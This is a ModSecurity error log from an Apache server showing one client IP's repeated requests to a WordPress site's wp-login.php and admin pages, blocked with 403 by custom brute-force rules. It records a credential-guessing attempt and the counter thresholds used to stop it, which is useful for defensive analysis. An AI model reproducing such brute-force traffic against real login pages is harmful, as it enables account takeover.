[Sat Feb 28 01:55:35.883728 2026] [:error] [pid 15098:tid 15120] [client 5.189.134.86:58472] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHal8kFqny8dQQbmTktvgAAAI4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:37.217286 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:54757] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHamb_i6nvKNhjFW7Vf0AAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:37.217406 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:54757] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHamb_i6nvKNhjFW7Vf0AAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:38.563220 2026] [:error] [pid 38586:tid 38599] [client 5.189.134.86:62227] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHamr_i6nvKNhjFW7Vf3wAAAQo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:39.658269 2026] [:error] [pid 15100:tid 15162] [client 5.189.134.86:61444] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHam0OEbzcINan_ctLQRwAAAEI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:40.771118 2026] [:error] [pid 15240:tid 15252] [client 5.189.134.86:51608] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHanC1iKL_41Rk9A9OMAgAAAAo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:42.024911 2026] [:error] [pid 15098:tid 15130] [client 5.189.134.86:54433] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHanskFqny8dQQbmTktwgAAAJg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:43.280611 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:54433] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHanwP6I7SRqrhh7Rot3AAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:46.065094 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:54433] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaogP6I7SRqrhh7Rot7QAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:47.413969 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:54433] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaowP6I7SRqrhh7Rot8gAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:50.278348 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:54433] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHapgP6I7SRqrhh7Rot_AAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:50.278460 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:54433] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHapgP6I7SRqrhh7Rot_AAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:51.620332 2026] [:error] [pid 15099:tid 15154] [client 5.189.134.86:57028] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHap-nvP2vtPjYDq_hAJQAAANU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:52.885474 2026] [:error] [pid 15098:tid 15129] [client 5.189.134.86:57809] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaqMkFqny8dQQbmTktxgAAAJc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:54.139212 2026] [:error] [pid 15099:tid 15157] [client 5.189.134.86:53821] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaqunvP2vtPjYDq_hALAAAANg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:55.396031 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:51821] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaqwP6I7SRqrhh7RouIgAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:55.396086 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:51821] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaqwP6I7SRqrhh7RouIgAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:56.664045 2026] [:error] [pid 38620:tid 38622] [client 5.189.134.86:50949] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHarAP6I7SRqrhh7RouKwAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:58.000980 2026] [:error] [pid 15098:tid 15115] [client 5.189.134.86:52489] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHarskFqny8dQQbmTktyAAAAIk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:55:59.260952 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHarwP6I7SRqrhh7RouOQAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:00.530119 2026] [:error] [pid 15100:tid 15177] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHasEOEbzcINan_ctLQWgAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:01.805060 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHasQP6I7SRqrhh7RouSgAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:04.731953 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHatAP6I7SRqrhh7RouVQAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:06.158687 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHatgP6I7SRqrhh7RouWwAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:06.158748 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHatgP6I7SRqrhh7RouWwAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:08.875680 2026] [:error] [pid 15100:tid 15182] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHauEOEbzcINan_ctLQagAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:08.875768 2026] [:error] [pid 15100:tid 15182] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHauEOEbzcINan_ctLQagAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:10.131933 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaugP6I7SRqrhh7RouZgAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:11.396716 2026] [:error] [pid 38586:tid 38608] [client 5.189.134.86:49726] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHau7_i6nvKNhjFW7VgDwAAARM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:12.670756 2026] [:error] [pid 15240:tid 15256] [client 5.189.134.86:61264] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHavC1iKL_41Rk9A9OMTgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:13.781153 2026] [:error] [pid 15240:tid 15257] [client 5.189.134.86:62376] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHavS1iKL_41Rk9A9OMUgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:13.781231 2026] [:error] [pid 15240:tid 15257] [client 5.189.134.86:62376] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHavS1iKL_41Rk9A9OMUgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:15.135805 2026] [:error] [pid 15240:tid 15250] [client 5.189.134.86:54451] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHavy1iKL_41Rk9A9OMVAAAAAg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:16.403263 2026] [:error] [pid 15240:tid 15247] [client 5.189.134.86:62014] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHawC1iKL_41Rk9A9OMWgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:17.684713 2026] [:error] [pid 15100:tid 15174] [client 5.189.134.86:62014] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHawUOEbzcINan_ctLQdwAAAE4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:19.016586 2026] [:error] [pid 15100:tid 15179] [client 5.189.134.86:54736] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaw0OEbzcINan_ctLQhAAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:20.322416 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:54736] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaxAP6I7SRqrhh7RoudgAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:20.322489 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:54736] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaxAP6I7SRqrhh7RoudgAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:23.043403 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:52371] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaxwP6I7SRqrhh7RouhAAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:24.363526 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:52371] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHayAP6I7SRqrhh7RoujQAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:25.678007 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:52371] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHayQP6I7SRqrhh7RoulAAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:28.227702 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:50552] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHazAP6I7SRqrhh7RoupwAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:29.631283 2026] [:error] [pid 15098:tid 15122] [client 5.189.134.86:50017] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHazckFqny8dQQbmTkt8wAAAJA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:30.969600 2026] [:error] [pid 15100:tid 15169] [client 5.189.134.86:51488] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHazkOEbzcINan_ctLQkwAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:30.969651 2026] [:error] [pid 15100:tid 15169] [client 5.189.134.86:51488] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHazkOEbzcINan_ctLQkwAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:32.257301 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:51488] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHa0AP6I7SRqrhh7RoutwAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:33.515279 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:63874] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHa0QP6I7SRqrhh7RouvQAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:34.647761 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:55575] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHa0r_i6nvKNhjFW7VgSQAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:35.783873 2026] [:error] [pid 38620:tid 38644] [client 5.189.134.86:55575] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHa0wP6I7SRqrhh7RouzwAAAVY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:37.091217 2026] [:error] [pid 15240:tid 15263] [client 5.189.134.86:54993] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa1S1iKL_41Rk9A9OMfAAAABU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:39.938525 2026] [:error] [pid 15240:tid 15253] [client 5.189.134.86:54993] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa1y1iKL_41Rk9A9OMgQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:41.237822 2026] [:error] [pid 15240:tid 15243] [client 5.189.134.86:54993] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa2S1iKL_41Rk9A9OMggAAAAE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:41.237882 2026] [:error] [pid 15240:tid 15243] [client 5.189.134.86:54993] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa2S1iKL_41Rk9A9OMggAAAAE"], referer: https://gigfragments.org/wp-login.php
